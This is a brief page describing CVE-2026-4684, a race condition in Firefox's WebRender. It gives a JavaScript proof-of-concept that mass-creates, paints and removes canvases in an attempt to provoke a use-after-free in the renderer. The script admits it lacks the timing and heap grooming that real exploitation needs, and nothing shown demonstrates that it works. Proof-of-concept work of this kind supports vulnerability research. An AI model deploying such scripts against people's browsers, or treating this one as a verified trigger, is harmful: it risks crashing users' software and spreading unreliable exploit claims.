CVE-2026-4684 Firefox WebRender组件竞态条件漏洞

/* * PoC Concept for CVE-2026-4684 * This script attempts to trigger a race condition in WebRender * by rapidly manipulating DOM elements to stress the renderer. */ function triggerUAF() { const container = document.createElement('div'); document.body.appendChild(container); // Rapidly create and destroy canvas elements to stress memory management for (let i = 0; i < 5000; i++) { let canvas = document.createElement('canvas'); canvas.width = 1000; canvas.height = 1000; let ctx = canvas.getContext('2d'); // Perform complex rendering operations ctx.fillStyle = `rgb(${i % 255}, ${(i * 2) % 255}, ${(i * 3) % 255})`; ctx.fillRect(0, 0, 1000, 1000); container.appendChild(canvas); // Force rapid removal to potentially trigger UAF in renderer if (i % 10 === 0) { container.removeChild(canvas); canvas = null; } } } // Note: Actual exploitation requires precise timing and heap grooming. triggerUAF();